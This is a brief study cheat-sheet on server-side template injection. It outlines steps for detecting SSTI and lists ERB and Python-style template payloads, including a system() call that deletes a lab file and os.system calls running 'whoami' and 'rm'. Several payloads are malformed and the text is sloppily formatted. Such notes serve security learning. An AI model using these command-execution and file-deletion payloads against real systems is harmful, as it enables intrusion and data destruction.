Server Side Templete Injection
Methods to find SSTI
1. Firstly find the place where the template is reflected
2. Supply irregular input and try to get template type information
3. use the arbitry payload to check presence of SSTI
4. If SSTI is positive then supply corrosponding payloads to exploit* The arbitary payloads to be URL encoded first to execute
| ERB TEMPLATE |
<%= 7 * 7 %> | arbitary code to check SSTI
%= system("rm /home/carlos/morale.txt") %> | arbitary code to remove files{{7*7}} = 49 | arbitary code to check template injection
<div data-gb-custom-block data-tag="import"></div>
{{os.system('whoami')}}
{{os.system('rm('/your/directory/here')')}} | arbitary payloadLast updated